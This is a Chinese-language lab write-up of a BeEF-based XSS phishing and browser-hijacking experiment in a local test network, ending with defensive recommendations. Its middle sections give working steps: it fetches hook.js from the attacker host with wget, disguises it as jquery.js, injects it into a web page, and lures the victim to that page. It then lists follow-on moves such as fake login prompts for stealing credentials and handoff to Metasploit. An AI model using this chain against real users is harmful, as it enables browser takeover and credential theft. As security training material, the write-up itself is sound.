基于BeEF的XSS钓鱼攻击与浏览器劫持实验
1. 实验声明
本实验完全在经过授权的本地虚拟化环境 中进行,所有攻击目标均为自行搭建的测试机(192.168.1.24)。实验目的旨在深入理解跨站脚本(XSS)攻击的原理、BeEF框架的攻击能力以及社会工程学的应用,从而提升防御此类攻击的安全意识与技术水平。任何未经授权对他人系统进行测试或攻击的行为均属违法,请严格遵守法律法规。
2. 实验目的
- 理解存储型XSS攻击的基本原理和利用方式。
- 掌握BeEF(The Browser Exploitation Framework)工具的配置与使用方法。
- 模拟攻击者如何通过钓鱼网站劫持用户浏览器。
- 研究一旦浏览器被钩住(Hooked),攻击者可能实施的后续操作。
- 基于攻击链提出有效的防御方案。
3. 实验环境
角色 | 操作系统 | IP地址 | 软件 |
---|---|---|---|
攻击机 | Kali Linux 2023.x | 192.168.1.69 | Apache2, BeEF-XSS |
靶机 | Windows 11 | 192.168.1.24 | 任意浏览器(Chrome/Edge) |
4. 实验原理
BeEF是一款专注于客户端Web攻击的渗透测试工具。其攻击流程核心在于将一个名为hook.js
的JavaScript钩子注入到目标网页中。当用户访问被篡改的页面时,其浏览器会加载并执行hook.js
,从而与BeEF服务端(运行在3000端口)建立一个持续的通信通道(即"被钩住")。
此后,攻击者便可以通过BeEF的控制台向该浏览器发送多达数百种的攻击模块,实施诸如信息收集、持久化控制、网络探测甚至内网渗透等操作。本实验通过篡改本地Apache服务器的首页,模拟了一个存储型XSS漏洞场景,并利用此漏洞部署BeEF钩子。
5. 实验步骤
步骤一:环境准备与服务启动
-
启动Apache2服务 :
在Kali攻击机上,启动Web服务器,为钓鱼网站提供访问服务。
bashsudo systemctl start apache2 sudo systemctl status apache2 # 确认服务状态为active (running)
-
启动BeEF服务 :
在Kali攻击机上,启动BeEF框架。
bashcd /home/kali ./beef-xss
启动成功后,终端会显示访问UI的地址和默认认证凭据:

步骤二:部署BeEF钩子
-
下载钩子文件 :
根据BeEF启动后输出的Hook URL,使用
wget
命令将hook.js
下载到Apache的web根目录,并重命名为jquery.js
以增加迷惑性。bashwget http://192.168.1.69:3000/hook.js -O /var/www/html/jquery.js
-O
参数指定输出文件名,此操作会将钩子文件保存为/var/www/html/jquery.js
。 -
注入钩子到网页 :
修改Apache的默认首页
/var/www/html/index.html
,在<head>
标签内插入一行,引用我们刚刚下载的"jquery.js"文件。bashsudo nano /var/www/html/index.html
在
<head>
部分添加:html<script src='./jquery.js'></script>
保存并退出编辑器。
步骤三:诱导访问与攻击实施
-
诱导用户访问 :
通过社会工程学手段(如钓鱼邮件、即时消息等),诱导靶机用户(192.168.1.24)访问我们精心准备的钓鱼页面:
http://192.168.1.69/index.html
。 -
浏览器劫持 :
当靶机用户使用浏览器访问该链接时,其浏览器会加载并执行隐藏在
jquery.js
中的BeEF钩子脚本。该脚本会悄悄地与攻击机(192.168.1.69:3000)建立持久连接。
步骤四:攻击控制与验证
-
登录BeEF控制台 :
在攻击机的浏览器中访问
http://127.0.0.1:3000/ui/panel
,使用默认账号密码(beef/beef)登录。 -
确认上线主机 :
在BeEF控制台的左侧 「Hooked Browsers」 → 「Online Browsers」 下,可以看到一个在线的浏览器节点,其IP地址为
192.168.1.24
。这证明攻击成功,靶机浏览器已被我劫持。
-
基础信息获取 :
点击该上线主机,右侧控制台会显示多个标签页。
- Details:可查看浏览器的详细信息,如IP、地理位置(粗略)、使用的浏览器类型和版本、操作系统、浏览器插件等。
- Logs:显示浏览器与BeEF服务器的通信日志。
- Commands:这是攻击的核心区域,可以执行各种模块。
-
执行简单命令 :
在 「Commands」 标签页中,筛选 「Browser」 → 「Hook Domain」 模块并执行,可以验证钩子所在的域名,确认是我们部署的钓鱼页面。
6. 实验拓展与深度利用
成功钩住浏览器仅仅是开始。BeEF提供了丰富的模块进行深度利用,例如:
- 社会工程学:弹出虚假的登录框(Google、Facebook等),窃取用户凭证。
- 持久化:尝试在浏览器中弹出"是否记住密码"的提示,或利用浏览器漏洞安装持久化后门。
- 内网探测:让被钩住的浏览器作为代理,扫描靶机所在的内部网络(浏览器 pivoting)。
- 结合Metasploit :利用BeEF的
msf
模块,将会话传递给Metasploit,进一步获取系统权限。
(注意:上述深度利用操作应在获得明确授权且隔离的测试环境中进行。)
7. 防御方案
通过本实验,我们可以总结出以下防御措施:
-
对用户而言:
- 提高安全意识:对来源不明的链接保持警惕,切勿轻易点击。
- 使用浏览器安全插件:如NoScript、uBlock Origin等,可以阻止恶意脚本的执行。
- 保持系统和浏览器更新:及时修补安全漏洞。
-
对开发者/运维而言:
- 实施严格的内容安全策略(CSP) :通过HTTP头
Content-Security-Policy
限制页面只能加载来自可信源的脚本,可以有效遏制此类攻击。 - 对用户输入进行严格的过滤和转义:防止存储型XSS漏洞的出现。
- 避免使用非官方或未经审核的第三方JavaScript库:攻击者常通过篡改或冒充常见库(如jQuery)进行攻击。
- 定期进行安全审计与渗透测试:主动发现并修复潜在风险。
- 实施严格的内容安全策略(CSP) :通过HTTP头
8. 实验总结
本次实验成功模拟了利用BeEF框架通过XSS漏洞发起钓鱼攻击的全过程。实验表明,一个简单的脚本引用漏洞,结合社会工程学,就能导致用户浏览器被完全劫持,带来严重的隐私泄露和安全风险。
作为白帽子,我们深刻认识到Web应用安全的极端重要性。不仅要在开发阶段就融入安全设计(Security by Design),更要持续教育终端用户,共同构建纵深防御体系,才能有效抵御日益复杂的网络攻击。